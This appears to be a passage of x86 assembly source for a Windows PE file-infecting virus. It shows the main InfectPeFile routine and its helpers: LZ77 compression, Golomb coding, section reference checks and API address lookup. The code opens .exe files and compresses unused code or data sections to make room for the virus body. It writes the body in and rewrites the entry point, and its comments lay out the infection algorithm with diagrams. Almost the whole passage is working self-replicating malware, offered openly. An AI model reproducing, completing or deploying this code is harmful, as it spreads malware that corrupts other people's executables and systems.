   off_ulNumFreeBytes   = 0014h
  XX=XX-4
  SIZE_OF_LOCAL_VARS=X-XX

lpszFileNameToOpen      = XX
  XX=XX-4
hFileHandle        = XX
  XX=XX-4
hFileMappingHandle      = XX
  XX=XX-4
lpFileMapping       = XX
  XX=XX-4
dwTotalFileSize       = XX
  XX=XX-4
lpNtHeaders        = XX
  XX=XX-4
ulInformation       = XX
  XX=XX-4

InfectPeFile:

  push ebp
  mov ebp, esp

  call GetCurrentEipToEbx
RelocE = $
  add ebx, @X - RelocE

  lea eax, [ebx][IsBusy-@X]
  cmp byte ptr [eax], 0
  jnz lb_IsBusyNow
  inc byte ptr [eax]

  sub esp, SIZE_OF_LOCAL_VARS

  push edi ; initialize lpszFileNameToOpen

if NOT_INFECT_FILES

  xor ecx, ecx
  push ecx
  push FILE_ATTRIBUTE_NORMAL
  push (OPEN_ALWAYS)
  push ecx
  push (FILE_SHARE_READ OR FILE_SHARE_WRITE)
  push (GENERIC_READ OR GENERIC_WRITE)
  lea eax, [ebx][LogFileName-@X]
  push eax
  call [ebx][lpfnCreateFileA-@X]
  cmp eax, -1
  jz lb_ExitInfectPeFile

  mov esi, eax

  xor ecx, ecx
  push FILE_END
  push ecx
  push ecx
  push esi
  call [ebx][lpfnSetFilePointer-@X]

  push 0000200h
  lea edi, [ebx+00002000h][BaseOfVirusCode-@X]
  push edi
  push -1
  lea eax, [ebx][pe_szExeFile-@X]
  push eax
  push MB_COMPOSITE
  push CP_ACP
  call [ebx][lpfnMultiByteToWideChar-@X]
  test eax, eax
  jz lb_LogFail

  push 0
  lea ecx, [ebp][dwNumberOfBytesWritten]
  push ecx
  add eax, eax
  dec eax
  dec eax
  push eax
  push edi
  push esi
  call [ebx][lpfnWriteFile-@X]
  test eax, eax
  jz lb_LogFail

  push dword ptr ':'
  mov eax, esp

  push 0
  lea ecx, [ebp][dwNumberOfBytesWritten]
  push ecx
  push 2
  push eax
  push esi
  call [ebx][lpfnWriteFile-@X]
  test eax, eax
  jz lb_LogFail

  pop eax
  pop edi
  push edi

  xor eax, eax
lp_FindNullWChar:
  movzx ecx, word ptr [edi]
  jecxz lb_WStringEnd
  inc eax
  inc eax
  inc edi
  inc edi
  jmp lp_FindNullWChar

lb_WStringEnd:

  pop edi

  push 0
  lea ecx, [ebp][dwNumberOfBytesWritten]
  push ecx
  push eax
  push edi
  push esi
  call [ebx][lpfnWriteFile-@X]
  test eax, eax
  jz lb_LogFail

  push dword ptr 000A000Dh
  mov eax, esp

  push 0
  lea ecx, [ebp][dwNumberOfBytesWritten]
  push ecx
  push 4
  push eax
  push esi
  call [ebx][lpfnWriteFile-@X]
  test eax, eax
  jz lb_LogFail

lb_LogFail:

  push esi
  call [ebx][lpfnCloseHandle-@X]

  jmp lb_ExitInfectPeFile

endif

  xor eax, eax
  mov esi, edi

lp_FindTheEndOfWideString:

  movzx ecx, word ptr [esi]
  jecxz lb_WideStringTerminate
  inc esi
  inc esi
  jmp lp_FindTheEndOfWideString

lb_WideStringTerminate:

  xor eax, eax
  push 4
  pop ecx

lp_Convert4WideCharsToAnsiChars:
  shl eax, 8
  dec esi
  dec esi
  mov al, [esi]
  loop lp_Convert4WideCharsToAnsiChars

  or eax, 20202000h
  cmp eax, 'exe.'
  jnz lb_ExitInfectPeFile

if DEBUG

  mov edx, [esi-4]
  or edx, 00200020h
  cmp edx, 00740073H
  jnz lb_ExitInfectPeFile

  mov edx, [esi-8]
  or edx, 00200020h
  cmp edx, 00650074H
  jnz lb_ExitInfectPeFile

endif

  push edi
  call [ebx][lpfnGetFileAttributesW-@X]
  cmp eax, -1
  jz lb_ExitInfectPeFile
  xchg eax, esi

  push FILE_ATTRIBUTE_NORMAL    ;<
  push edi        ;< Try to change file attributes
  call [ebx][lpfnSetFileAttributesW-@X] ;<
  test eax, eax
  jz lb_ExitInfectPeFile ;Fail to set the file attributes to FILE_ATTRIBUTE_NORMAL

  xor ecx, ecx
  push ecx
  push FILE_ATTRIBUTE_NORMAL
  push OPEN_EXISTING
  push ecx
  push (FILE_SHARE_READ OR FILE_SHARE_WRITE)
  push (GENERIC_READ OR GENERIC_WRITE)
  push edi
  call [ebx][lpfnCreateFileW-@X]
  cmp eax, -1
  jz lb_FileOpenFail

  push eax ;Initialize hFileHandle

  push esi        ;<
  push edi        ;< Restore original file attributes.
  call [ebx][lpfnSetFileAttributesW-@X] ;<

  xor ecx, ecx
  push ecx
  push ecx
  push ecx
  push PAGE_READWRITE
  push ecx
  push dword ptr [ebp][hFileHandle]
  call [ebx][lpfnCreateFileMappingW-@X]
  cmp eax, -1
  jz lb_CreateFileMappingFail

  push eax ; Initialize hFileMappingHandle

  xor ecx, ecx
  push ecx
  push ecx
  push ecx
  push FILE_MAP_WRITE
  push eax
  call [ebx][lpfnMapViewOfFile-@X]
  test eax, eax
  jz lb_MapViewOfFileFail

  push eax ;Initialize lpFileMapping

  push 0
  push dword ptr [ebp][hFileHandle]
  call [ebx][lpfnGetFileSize-@X]
  cmp eax, -1 ;Is the return value INVALID_FILE_SIZE??
  jz lb_StopInfecting
  cmp eax, 12 * 1024
  jb lb_StopInfecting
  push eax ;Initialize dwTotalFileSize

  mov eax, [ebp][lpFileMapping]
  cmp word ptr [eax], 'ZM'
  jnz lb_StopInfecting

  mov ecx, [eax+0000003Ch]  ;Maybe the file is not a PE file. So you must
  cmp ecx, [ebp][dwTotalFileSize] ;ensure the 003Ch offset is in the range of
  jae lb_StopInfecting   ;the file.

  lea edi, [eax+ecx]
  push edi ;Initialize lpNtHeaders

  cmp dword ptr [edi], 00004550h
  jnz lb_StopInfecting

  mov ecx, [edi+00000028h]
  lea edx, [eax+ecx]
  cmp [edx], dword ptr 00EC8160h
  jz lb_StopInfecting

  xor ecx, ecx
  push ecx ;Initialize ulInformation
  push ecx ;The end flag
  mov [ebp][CompressionInfoAA+off_pSection], ecx
  mov [ebp][CompressionInfoBB+off_pSection], ecx

  movzx ecx, word ptr [edi+00000006h]
  mov [ebp][i], ecx
  lea esi, [edi+000000F8h]

lp_FindCodeAndDataSection:

  mov ecx, [esi+00000010h]
  cmp ecx, 00001000h
  jb lb_TryNextSection
  mov eax, [esi+00000024h]
  cmp eax, 0C0000040h
  jz lb_DataSectionFound
  cmp eax, 60000020h
  jz lb_CodeSectionFound
  jmp lb_TryNextSection

lb_DataSectionFound:

  call CheckReferenceToSection
  jc lb_TryNextSection
  mov [ebp][CompressionInfoBB+off_pSection], esi
  jmp lb_TryNextSection

lb_CodeSectionFound:

  call CheckReferenceToSection
  jc lb_TryNextSection
  mov [ebp][CompressionInfoAA+off_pSection], esi

lb_TryNextSection:

  add esi, SIZE_OF_IMAGE_SECTION_HEADER
  dec dword ptr [ebp][i]
  jnz lp_FindCodeAndDataSection

  lea esi, [ebp][CompressionInfoAA]
  mov ecx, [esi]
  lea eax, [ebx][lpBufferForDataCompressed]
  mov [esi][off_pCompressedDataBuffer], eax
  mov [esi-DWORDSofCompressionInfo*4][off_pCompressedDataBuffer], eax
  jecxz lb_NoCodeSectionCanBeUsed

  call CompressPeSection ;Compress the code section
  cmp ecx, VIRUS_PHYSICAL_SIZE
  jae lb_OnlyCodeSectionCompressed

  ;add [esi][off_pCompressedDataBuffer], eax
  add [esi-DWORDSofCompressionInfo*4][off_pCompressedDataBuffer], eax ;Adjust the pointer

lb_NoCodeSectionCanBeUsed:

  lea esi, [ebp][CompressionInfoBB]
  cmp dword ptr [esi], 0
  jz lb_StopInfecting

  ;add [esi][off_pCompressedDataBuffer], eax
  call CompressPeSection
  cmp ecx, VIRUS_PHYSICAL_SIZE
  lea esi, [ebp][CompressionInfoAA]
  jae lb_OnlyDataSectionCompressed

  cmp dword ptr [esi], 0
  jz lb_StopInfecting

  or dword ptr [ebp][ulInformation], FLAG_USE_TWO_SECTIONS

  cmp [esi][off_ulNumFreeBytes], eax
  jae lb_Noname1

  cmp ecx, [esi][off_ulNumUsedBytes]
  jb lb_StopInfecting
  or [ebp][ulInformation], dword ptr FLAG_IN_DATA_SECTION

lb_Noname1:

  mov [ebx][JumpOffset-@X], byte ptr 0
  jmp lb_CompressionCompleted

lb_OnlyDataSectionCompressed:
  or [ebp][ulInformation], dword ptr FLAG_IN_DATA_SECTION
lb_OnlyCodeSectionCompressed:
  mov [ebx][JumpOffset-@X], byte ptr (lb_NoSecondCompressedSection - NextStatement)

;*********************************************************************
;*                                                                   *
;* My Infection algorithm:                                          *
;* 1) Try to find two sections which are not referred by any data  *
;*  directory in the PE file.                                    *
;* 2) Compress a part of the data of the section. The max size of  *
;*  the data to be compressed is 16K. Because my compression     *
;*  algorithm is not so perfect, the processing time will be     *
;*  very long if the data is too much.                           *
;* 3) If one of the sections is large enough to hold the           *
;*  compressed data and the virus code, just place there.        *
;*  Otherwise, move compressed data in one section to anther     *
;*  and just place the virus code in the section.                *
;*                                                                   *
;*********************************************************************

;1. two sections & in code section
;
;CODE_SEG    DATA_SEG
; _______     _______
;|       |   |       |
;|   D   |   |       |
;|_______|   |   V   |
;|       |   |       |
;|   C   |   |       |
;|_______|   |_______|
;
;
;2. two sections & in data section
;
;DATA_SEG    CODE_SEG
; _______     _______
;|       |   |       |
;|   C   |   |       |
;|_______|   |   V   |
;|       |   |       |
;|   D   |   |       |
;|_______|   |_______|
;
;3. one sections & in code section
;
;CODE_SEG
; _______
;|       |
;|   C   |
;|_______|
;|       |
;|   V   |
;|_______|
;
;
;4. one sections & in data section
;
;DATA_SEG
; _______
;|       |
;|   D   |
;|_______|
;|       |
;|   V   |
;|_______|


lb_CompressionCompleted:

  mov eax, [ebp][ulInformation]
  ;lea esi, [ebp][CompressionInfoAA]
  cmp eax, dword ptr (FLAG_USE_TWO_SECTIONS) ;If in code section and use two sections?
  jz lb_ExchangeCompressionInformation
  cmp eax, dword ptr (FLAG_IN_DATA_SECTION) ;If in data section and use one section?
  jz lb_ExchangeCompressionInformation

  jmp lb_SaveParameters

lb_ExchangeCompressionInformation:

  push DWORDSofCompressionInfo
  pop ecx
  lea edi, [ebp][CompressionInfoBB]

lp_ExchangeData:
  xchg eax, [edi]
  xchg eax, [edi][DWORDSofCompressionInfo*4]
  xchg eax, [edi]
  add edi, 4
  loop lp_ExchangeData

  ;lea esi, [ebp][CompressionInfoBB]

lb_SaveParameters:

  lea esi, [ebp][CompressionInfoAA]
  mov edx, [esi][off_pSection]
  lea edi, [ebx][DecompressionParametersA-@X]
  xor eax, eax
  lea ecx, [eax+1]

  test [ebp][ulInformation], dword ptr FLAG_USE_TWO_SECTIONS
  jz lb_RemainCounterTo1
  inc ecx
  mov edx, [ebp][CompressionInfoBB+off_pSection]

lb_RemainCounterTo1:

  mov [ebp][pSectionOfOriginalDataAndCode], edx

lp_SaveFileWritingInformation:

  push dword ptr [esi][off_ulNumUsedBytes]
  push dword ptr [esi][off_pCompressedDataBuffer]

  push ecx

  mov ecx, [esi][off_ulNumTotalBits]
  mov [edi], ecx ;Total number of bits
   ;mov ecx, [esi][off_pSection]
  mov ecx, [ebp][pSectionOfOriginalDataAndCode]
  mov edx, [ecx+0000000Ch]
  add edx, eax
  mov [edi+00000004h], edx ;Source data address for decompression
  mov edx, [ecx+00000014h]
  mov ecx, [esi][off_OriginalVirtualAddress]
  mov [edi+00000008h], ecx
  add edx, eax ;File offset where the compressed data will be stored.

  pop ecx
  push edx
  add eax, [esi][off_ulNumUsedBytes]
  add edi, 0000000Ch
  sub esi, DWORDSofCompressionInfo*4
  loop lp_SaveFileWritingInformation

  ;lea esi, [ebp+CompressionInfoAA][off_pSection]
  ;mov edi, [esi][off_pSection]
  mov edi, [ebp+CompressionInfoAA][off_pSection]
  mov edx, [edi+00000014h]
  mov ecx, [edi+0000000Ch]

  test [ebp][ulInformation], dword ptr FLAG_USE_TWO_SECTIONS
  jnz lb_Noname3

  add edx, eax
  add ecx, eax

lb_Noname3:

  mov [ebp][ulAddressOfVCode], ecx

  push VIRUS_PHYSICAL_SIZE
  lea ecx, [ebx][BaseOfVirusCode-@X]
  push ecx
  push edx

  mov edi, [ebp][lpNtHeaders]

  mov eax, [edi+00000080h]
  call RvaAddressToFileMappingAddress
  xchg esi, eax

lb_LoopOfFindImportDescriptorOfKernel32:

  push (SIZE_OF_IMPORT_DESCRIPTOR)
  push esi
  call IsAllZero
  jz lb_StopInfecting  ; All import descriptor have been retrieved,
        ; but kernel32 is not found. So we should do nothing
        ; but just exit.

  mov eax, [esi+0000000Ch]
  call RvaAddressToFileMappingAddress
  xchg eax, edi

  push esi
  lea esi, [ebx][NameOfKernel32-@X]
  call strcmpi
  pop esi
  jz lb_Kernel32IsFound
  add esi, SIZE_OF_IMPORT_DESCRIPTOR
  jmp lb_LoopOfFindImportDescriptorOfKernel32

lb_Kernel32IsFound:

  mov eax, [esi+00000010h]      ;< Save the address of first thunk
  mov [ebx][RvaOfFirstThunkOfKernel32-@X], eax ;<

  ;mov esi, [ebp][pDataSection]
  ;push VIRUS_PHYSICAL_SIZE
  ;lea ecx, [ebx][BaseOfVirusCode-@X]
  ;push ecx
  ;mov eax, [ebp][ulAddressOfVCode]
  ;call RvaToFilePointer
  ;push eax

  mov edi, [ebp][lpNtHeaders]     ;<
  mov eax, [ebp][ulAddressOfVCode]   ;<
  add eax, EntryOfVirusCode-BaseOfVirusCode ;< Modify Address of Entry Point
  lea ecx, [edi+00000028h]     ;< And
  mov edx, [ecx]        ;< Save Original Address of
  mov [ebx][OriginalEntryPoint-@X], edx  ;< Entry Point
  mov [ecx], eax        ;<
  mov [ebx][RvaOfEntryPoint-@X], eax   ;<


  lea ecx, [edi+00000064h]
  mov eax, VIRUS_BOOTING_SIZE
  cmp [ecx], eax
  jae lb_NotEnlargeSizeOfStackCommitSize
  add [ecx], eax
lb_NotEnlargeSizeOfStackCommitSize:

lb_LoopOfWriteTargetFile:

  pop eax
  test eax, eax
  jz lb_InfectionCompleted

  add eax, [ebp][lpFileMapping]
  xchg edi, eax

  pop esi
  pop ecx
  cld
  rep movsb

  jmp lb_LoopOfWriteTargetFile


lb_InfectionCompleted:

lb_StopInfecting:

  push dword ptr [ebp][lpFileMapping]
  call [ebx][lpfnUnmapViewOfFile-@X]

lb_MapViewOfFileFail:

  push dword ptr [ebp][hFileHandle]
  call [ebx][lpfnCloseHandle-@X]

lb_CreateFileMappingFail:

  push dword ptr [ebp][hFileMappingHandle]
  call [ebx][lpfnCloseHandle-@X]

lb_FileOpenFail:
lb_ExitInfectPeFile:

  mov byte ptr [ebx][IsBusy-@X], 0

lb_IsBusyNow:

  mov esp, ebp
  pop ebp
  ret

;*********************************************************************
;*                                                                   *
;* CompressPeSection()                                              *
;*                                                                   *
;* Remarks:                                                         *
;*  Process the specified section to make preparations for       *
;*  furher infections.                                           *
;*                                                                   *
;* Parameters:                                                      *
;*  [Esi]                                                        *
;*  Point to the start address of the buffer containing the      *
;*  parameters about data compression.                           *
;*                                                                   *
;* Return Value:                                                    *
;*  [Ecx]                                                        *
;*  The number of free bytes that can be overwritten with the    *
;*  virus code after compression.                                *
;*  [Eax]                                                        *
;*  The number of bytes that the original data of the data       *
;*  have been compressed to.                                     *
;*                                                                   *
;*********************************************************************
CompressPeSection:

  pop dword ptr [ebx][ReteunFromCompressPeSection-@X]
  mov edi, [esi][off_pSection]
  mov ecx, [edi+0000000Ch]
  mov [esi][off_OriginalVirtualAddress], ecx
  mov ecx, [edi+00000010h]
  mov edx, MAX_SIZE_TO_COMPRESS
  cmp ecx, edx
  jbe lb_UseSizeOfRawData
  mov ecx, edx

lb_UseSizeOfRawData:

  lea edx, [esi][off_ulNumTotalBits]
  and [edx], dword ptr 0

  mov eax, [edi+00000014h]
  add eax, [ebp][lpFileMapping]

  push edx
  push dword ptr [esi][off_pCompressedDataBuffer]
  push ecx
  push eax
  call LZ77Compress

  mov eax, [edx]
  test eax, eax
  jz lb_StopInfecting
  add eax, 7
  shr eax, 3

  sub ecx, eax
  jb lb_StopInfecting

  mov [esi][off_ulNumUsedBytes], eax
  mov [esi][off_ulNumFreeBytes], ecx

  push 'HOLD'
ReteunFromCompressPeSection = $-4
  ret


;*********************************************************************
;*                                                                   *
;* IsRvaInSection()                                                 *
;*                                                                   *
;* Remarks:                                                         *
;*  Check if the RVA is in the specified section.                *
;*                                                                   *
;* Parameters:                                                      *
;*  [Eax]                                                        *
;*  The RVA which will be checked.                               *
;*  [Esi]                                                        *
;*  Point to the section.                                        *
;*                                                                   *
;* Return Value:                                                    *
;*  If the Rva is in the section, both CF and ZF are cleared.    *
;*  If not, either CF or ZF is set.                              *
;*                                                                   *
;*********************************************************************
IsRvaInSection:
;{
  push edx
  mov edx, [esi+0000000Ch]
  cmp eax, edx
  jb lb_RvaNotInTheSection
  add edx, [esi+00000010h]
  cmp edx, eax
  jbe lb_RvaNotInTheSection

  pop edx
  ret

lb_RvaNotInTheSection:

  pop edx
  ret
;}


;*********************************************************************
;*                                                                   *
;* CheckReferenceToSection()                                        *
;*                                                                   *
;* Remarks:                                                         *
;*  Check if the section is referred by one or more data         *
;*  directories. If the section is referred, it cannot be used   *
;*  to write the virus code.                                     *
;*                                                                   *
;* Parameters:                                                      *
;*  [Esi]                                                        *
;*  Point to the section which will be checked.                  *
;*                                                                   *
;* Return Value:                                                    *
;*  If the section is referred, CF is set.                       *
;*  If not, CF is cleared.                                       *
;*                                                                   *
;*********************************************************************
CheckReferenceToSection:

  push ecx

  mov edx, [ebp][lpNtHeaders]
  movzx ecx, word ptr[edx+00000006h]
  add edx, 00000078h

lp_CheckAllDataDirectory:

  mov eax, [edx] ; IMAGE_EXPORT_DIRECTORY
  call IsRvaInSection
  jnbe lb_SectionIsReferred
  add edx, 8
  loop lp_CheckAllDataDirectory

  pop ecx
  clc ; Not referred
  ret

lb_SectionIsReferred:

  pop ecx
  stc ; referred
  ret

;*********************************************************************
;*                                                                   *
;* GetProcedureAddress()                                            *
;*                                                                   *
;* Remarks:                                                         *
;*  Get the entry address of the specified API function from     *
;*  the system DLLs of Windows.                                  *
;*                                                                   *
;* Parameters:                                                      *
;*  Edi: Pointer to a null-terminated string containing the API  *
;*   function name whose entry address we want to get.        *
;*  Eax: The image base of the DLL from which the API function   *
;*   is exported.                                             *
;*  Esi: Pointer to a IMAGE_EXPORT_DIRECTORY structure which     *
;*    contains the export information.                           *
;*                                                                   *
;* Return Value:                                                    *
;*  The entry address of the API function.                       *
;*                                                                   *
;*********************************************************************
GetProcedureAddress:

  mov ecx, [esi+00000018h]
  mov edx, [esi+00000020h]
  add edx, eax

  push esi

lp_FindMatchedProcedureName:

  mov esi, [edx]
  add esi, eax
  call strcmpi
  jz lb_MatchedProcedureNameFound
  add edx, 4
  loop lp_FindMatchedProcedureName

  xor eax, eax
  pop esi
  ret
lb_MatchedProcedureNameFound:

  pop esi
  sub edx, [esi+00000020h]
  ;sub edx, eax
  mov ecx, [esi+0000001Ch]
  ;add ecx, eax
  add ecx, edx
  add eax, [ecx]

  ret


;extern "C"
;void __declspec(naked) WINAPI
;LZ77Compress(
; PUCHAR __pDataBuffer,
; ULONG __ulDataLength,
; PUCHAR __pOutputBuffer,
; PULONG __pulNumberOfBits
; )
;//{

;*********************************************************************
;*                                                                   *
;* LZ77Compress()                                                   *
;*  [Param1]                                                     *
;*  [Param2]                                                     *
;*  [Param3]                                                     *
;*  [Param4]                                                     *
;*                                                                   *
;* Remarks:                                                         *
;*  Decompress the data.                                         *
;*                                                                   *
;* Parameters:                                                      *
;*  [Param1]                                                     *
;*  Point to the buffer containing the data that will be         *
;*  compressed.                                                  *
;*  [Param2]                                                     *
;*  The total bytes of the data that will be compressed          *
;*  [Param3]                                                     *
;*  Point to the buffer where the data will be stored after      *
;*  compression.                                                 *
;*  [Param4]                                                     *
;*  Point to the variable that will save the number of bits of   *
;*  the data after compression                                   *
;*                                                                   *
;* Return value:                                                    *
;*  None.                                                        *
;*                                                                   *
;*********************************************************************

BASE_OFFSET   = (36)
pDataBuffer   = (BASE_OFFSET)
ulDataLength  = (BASE_OFFSET+4)
pOutputBuffer  = (BASE_OFFSET+8)
pulNumberOfBits  = (BASE_OFFSET+12)
iSlideWindowPtr  = (-4)
ulBytesCoded  = (-8)
ulBytesDecoded  = (-8)
ulLength   = (-12)
ulOffset   = (-16)
pSlideWindowPtr  = (-20)

LZ77Compress:

  pushad
  mov ebp, esp

  xor ebx, ebx ; Intialize ulBitOffset
  mov esi, [ebp][pDataBuffer] ; Initialize pUncodedDataPtr
  mov edi, [ebp][pOutputBuffer]

  push -MAX_WND_SIZE ; Initialize iSlideWindowPtr
  push 0    ; Initialzie ulBytesCoded
  sub esp, 3 * 4


lp_CompressDataWithLZ77:


  mov edx, [ebp][ulBytesCoded]
  cmp edx, 00001000h
  jb lb_NotAssumeDataCompressibility

  mov ecx, ebx       ;After MAX_WND_SIZE bytes data have been
  shr ecx, 3        ;compressed, we should assume the
  cmp ecx, edx       ;compressibility of the data.
  jbe lb_DataCompressibilityIsStillGood ;

  xor ebx, ebx
  jmp lb_ExitLZ77Compress

lb_NotAssumeDataCompressibility:
lb_DataCompressibilityIsStillGood:
  ;mov eax, [ebp][ulBytesCoded]
  ;cmp eax, [ebp][ulDataLength]
  mov eax, [ebp][ulDataLength]
  sub eax, [ebp][ulBytesCoded]
  jbe lb_AllBytesCompressed

  push eax
  mov eax, [ebp][iSlideWindowPtr]
  mov edx, [ebp][pDataBuffer] ; edx holds pSlideWindowPtr
  mov ecx, MAX_WND_SIZE ; ecx holds ulMaxStringLength

  cmp eax, 0
  jl lb_L01_1
  add edx, eax
  jmp lb_L01_3
lb_L01_1:
  cmp eax, -MAX_WND_SIZE
  jl lb_L01_2
  add ecx, eax
  jmp lb_L01_3
lb_L01_2:
  xor ecx, ecx
  xor edx, edx
lb_L01_3:

  pop eax
  cmp eax, ecx
  jae lb_BytesLeftMoreThanMaxWndSize
  mov ecx, eax
lb_BytesLeftMoreThanMaxWndSize:
  call FindSubStringWithMaxLength

  mov eax, [ebp][ulLength]
  cmp eax, 1
  jle lb_MatchedStringLengthIsLessThan1

  call Write1ToBitStream

  mov eax, [ebp][ulOffset]
  mov ecx, OFFSET_CODING_LENGTH
  call WriteBitsToBitStream

  mov eax, [ebp][ulLength]
  call WriteGolombCode

  mov eax, [ebp][ulLength]
  add esi, eax
  add [ebp][iSlideWindowPtr], eax
  add [ebp][ulBytesCoded], eax
  jmp lp_CompressDataWithLZ77

lb_MatchedStringLengthIsLessThan1:

  call Write0ToBitStream

  mov eax, [esi]
  push 8
  pop ecx
  call WriteBitsToBitStream

  inc esi
  inc dword ptr [ebp][iSlideWindowPtr]
  inc dword ptr [ebp][ulBytesCoded]

  jmp lp_CompressDataWithLZ77

lb_AllBytesCompressed:

lb_ExitLZ77Compress:

  mov eax, [ebp][pulNumberOfBits]
  mov [eax], ebx

  mov esp, ebp
  popad
  ret 16

;*********************************************************************
;*                                                                   *
;* WriteBitsToBitStream()                                           *
;*                                                                   *
;* Remarks:                                                         *
;*  Writing a series of bits to the bit stream.                  *
;*                                                                   *
;* Parameters:                                                      *
;*  [Edi]                                                        *
;*  Point to the base address of the bit stream. The address is  *
;*  byte-boundary.                                               *
;*  [Ebx]                                                        *
;*  The offset in the bit stream where the new bits will         *
;*  be written.                                                  *
;*  [Eax]                                                        *
;*  The bits that will be wtitten to the bit stream.             *
;*  [Ecx]:                                                       *
;*  The number of bits that will be written to the bit stream.   *
;*                                                                   *
;* Return value:                                                    *
;*  None.                                                        *
;*                                                                   *
;*********************************************************************
WriteBitsToBitStream:

lp_LoopOfWritingOffset:

  shr eax, 1
  jc lb_CurrentBitIs1

  call Write0ToBitStream
  jmp lb_WriteNextBit

lb_CurrentBitIs1:

  call Write1ToBitStream

lb_WriteNextBit:

  loop lp_LoopOfWritingOffset
  ret


;*********************************************************************
;*                                                                   *
;* Write1ToBitStream()                                              *
;*                                                                   *
;* Remarks:                                                         *
;*  Writing 1 to the bit stream.                                 *
;*                                                                   *
;* Parameters:                                                      *
;*  [Edi]                                                        *
;*  Point to the base address of the bit stream. The             *
;*  address is byte-boundary.                                    *
;*  [Ebx]                                                        *
;*  The offset in the bit stream where the data 1 will           *
;*  be written.                                                  *
;*                                                                   *
;* Return value:                                                    *
;*  None.                                                        *
;*                                                                   *
;*********************************************************************
Write1ToBitStream:

lb_Write1ToBitStream:

  push edx
  push ecx
  push eax
  mov eax, ebx
  shr eax, 3
  add eax, edi
  mov ecx, ebx
  and ecx, 7
  push 1
  pop edx
  shl edx, cl
  or [eax], dl
  pop eax
  pop ecx
  pop edx
  inc ebx
  ret

;*********************************************************************
;*                                                                   *
;* Write0ToBitStream                                                *
;*                                                                   *
;* Remarks:                                                         *
;*  Writing 0 to the bit stream.                                 *
;*                                                                   *
;* Parameters:                                                      *
;*  [Edi]                                                        *
;*  Point to the base address of the bit stream. The address is  *
;*  byte-boundary.                                               *
;*  [Ebx]                                                        *
;*  The offset in the bit stream where the data 0 will           *
;*  be written.                                                  *
;*                                                                   *
;* Return value:                                                    *
;*  None.                                                        *
;*                                                                   *
;*********************************************************************
Write0ToBitStream:

lb_Write0ToBitStream:

  push edx
  push ecx
  push eax
  mov eax, ebx
  shr eax, 3
  add eax, edi
  mov ecx, ebx
  and ecx, 7
  push 1
  pop edx
  shl edx, cl
  not edx
  and [eax], dl
  pop eax
  pop ecx
  pop edx
  inc ebx
  ret

;*********************************************************************
;*                                                                   *
;* CompareStrings()                                                 *
;*                                                                   *
;* Remarks:                                                         *
;*  Compare two strings.                                         *
;*                                                                   *
;* Parameters:                                                      *
;*  [Ecx]                                                        *
;*  Point to string1.                                            *
;*  [Edi]                                                        *
;*  Point to string2.                                            *
;*  [Ecx]                                                        *
;*  The max length of comparation length.                        *
;*                                                                   *
;* Return value:                                                    *
;*  None.                                                        *
;*                                                                   *
;*********************************************************************
CompareStrings:
;//{

  push esi
  push edi

  ;lea eax, [esi+1]
  ;cld
  ;rep cmpsb

  mov eax, esi

lp_CompareStrings:

  mov dl, [esi]
  cmp dl, [edi]
  jnz lb_StringsUnmatched
  inc esi
  inc edi
  loop lp_CompareStrings

lb_StringsUnmatched:

  sub esi, eax
  mov eax, esi

  pop edi
  pop esi

  ret
;//}


;*********************************************************************
;* FindSubStringWithMaxLength()                                     *
;*                                                                   *
;* Remarks:                                                         *
;*  Find the sub string of string2 with the max length           *
;*  that matches string1.                                        *
;*                                                                   *
;* Parameters:                                                      *
;*  [Ecx]                                                        *
;*  The max length of string1.                                   *
;*  [Esi]                                                        *
;*  Point to string1.                                            *
;*  [Edi]                                                        *
;*  Point to string2.                                            *
;*                                                                   *
;* Return value:                                                    *
;*  None.                                                        *
;*                                                                   *
;*********************************************************************
FindSubStringWithMaxLength:
;//{

  push esi
  push edi

  xor eax, eax
  mov [ebp][ulLength], eax ; Initailzie return value
  mov [ebp][ulOffset], eax ; Initialize return value
  mov [ebp][pSlideWindowPtr], edx ; Save pSlideWindowPtr
  mov edi, edx

  test edi, edi
  jz lb_ExitFindLongestSubstring

  jecxz lb_ExitFindLongestSubstring

lb_LoopOfFindSubStrings:

  push ecx
  call CompareStrings
  pop ecx

  cmp eax, [ebp][ulLength]
  jbe lb_SubStringIsNotTheLongest

  mov [ebp][ulLength], eax
  mov eax, edi
  sub eax, [ebp][pSlideWindowPtr]
  mov [ebp][ulOffset], eax


lb_SubStringIsNotTheLongest:

  inc edi
  loop lb_LoopOfFindSubStrings

lb_ExitFindLongestSubstring:
  pop edi
  pop esi
  ret
;//}

;*********************************************************************
;*                                                                   *
;*  WriteGolombCode()                                                *
;*                                                                   *
;* Remarks:                                                         *
;*  Write the Golomb code to the bit stream.                     *
;*                                                                   *
;* Parameters:                                                      *
;*  [Eax]                                                        *
;*  The value which is to be coded.                              *
;*  [Edi]                                                        *
;*  Point to start address of the bit stream.                    *
;*  [Ebx]                                                        *
;*  The offset in the bit stream where the Golomb code           *
;*  will be written.                                             *
;*                                                                   *
;* Return value:                                                    *
;*  The length of the coding.                                    *
;*                                                                   *
;*********************************************************************
WriteGolombCode:

  lea ecx, [eax-1]
  shr ecx, M ; q
  mov edx, ecx
  push ecx
  jecxz lb_QIsZero

lp_WriteQOnes:
  call Write1ToBitStream
  loop lp_WriteQOnes

lb_QIsZero:
  call Write0ToBitStream

  shl edx, M ; q<<m
  sub eax, edx ;
  dec eax   ; r = x-(q<<m)-1

  mov ecx, 1

lb_LoopOfWritingR:

  shr eax, 1
  jc lb_CurrentBitIs1_b

  call Write0ToBitStream
  jmp lb_CurrentBitIs0_b

lb_CurrentBitIs1_b:

  call Write1ToBitStream

lb_CurrentBitIs0_b:

  inc ecx
  cmp ecx, M
  jbe lb_LoopOfWritingR

  pop eax
  add eax, M+1

  ret

;//}

;extern "C"
;void __declspec(naked) WINAPI
;LZ77Decompress(
; PUCHAR __pDataBuffer,
; ULONG __ulNumberOfBits,
; PUCHAR __pOutputBuffer,
; PULONG __pulNumberOfBytes
; )
;//{

;*********************************************************************
;*                                                                   *
;* LZ77Decompress()                                                 *
;*  [Param1]                                                     *
;*  [Param2]                                                     *
;*  [Param3]                                                     *
;*  [Param4]                                                     *
;*                                                                   *
;* Remarks:                                                         *
;*  Decompress the data.                                         *
;*                                                                   *
;* Parameters:                                                      *
;*  [Param1]                                                     *
;*  Point to the buffer containing the data that will be         *
;*  decompressed.                                                *
;*  [Param2]                                                     *
;*  The total bits of the data that will be decompressed         *
;*  [Param3]                                                     *
;*  Point to the buffer where the data will be stored after      *
;*  decompression.                                               *
;*  [Param4]                                                     *
;*  The number of bytes of the data after decompression          *
;*                                                                   *
;* Return value:                                                    *
;*  None.                                                        *
;*                                                                   *
;*********************************************************************
ulNumberOfBits  = (BASE_OFFSET+4)
pOutputBuffer  = (BASE_OFFSET+8)
